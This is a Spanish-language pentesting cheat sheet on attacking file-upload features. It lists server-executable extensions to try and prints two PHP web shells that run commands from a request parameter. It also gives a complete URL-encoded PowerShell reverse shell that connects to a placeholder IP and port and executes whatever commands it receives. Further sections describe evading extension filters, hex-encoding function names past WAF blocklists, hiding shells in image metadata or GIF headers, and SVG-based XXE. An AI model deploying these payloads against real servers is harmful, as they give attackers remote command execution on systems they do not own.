File upload

Tipo de extensiones

Tipo
Extension

Php

.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

asap

.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

perl

.pl, .cgi

jsp

.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion

.cfm, .cfml, .cfc, .dbm

Flash

.swf

Erlang

.yaws

PHP código básico Linux

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
<?php system($_REQUEST['cmd']); ?>

Poweshell código básico

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

Bypass extensiones

  1. Comprobar que poniendo mayúsculas y minuscalas: .pHp, .jSp, pHp5 etc.

  2. Comprobar que poniendo una extensión de más: file.jpg.php, file.png.pHP

Exiftool

Incrustamos un PHP

Incrustamos un XSS

Bypass WAF

Si nos encontramos con un firewall que tiene bloqueadas las funciones como system(),exec(),exec_shell(), lo que podemos hacer es pasarlo a hexadecimal.

Ejemplo

Si pasamos system a hexadecimal, mediante un convertor:

Convertor de cadena a hexadecimal

Le añadimos una x delante de cada numero y un separador con \:

¿Cómo saber si un WAF tiene estás funciones no permitidas?

Tenemos que subir el archivo .php con lo siguiente phpinfo();

Al hacer la petición tendremos que ir a la sección Core --> Directive buscamos disable_functions.

disable_functions --> system,exec,shell, shell_exec

PHP getimagesize()

Para los archivos que se suben que validan el archivo congetimagesize()es posible ejecutar una shell insertando el atributo comentario a la imagen y guardandolo como .png.php, si no funciona así prueba al revés .php.png.

GIF Header

También podemos probar de hace run bypass con el header de gif, subimos un gif le dejamos el header "GIF89a;", quitamos la info del gif y ponemos el monkey pentest o la shell.php.

Ejemplo

File Upload into XXE

Podemos incluir XML malicioso cuando subimos una imagen SVG, cambiando el contenido de la imagen SVG, por los payloads de abajo:

Last updated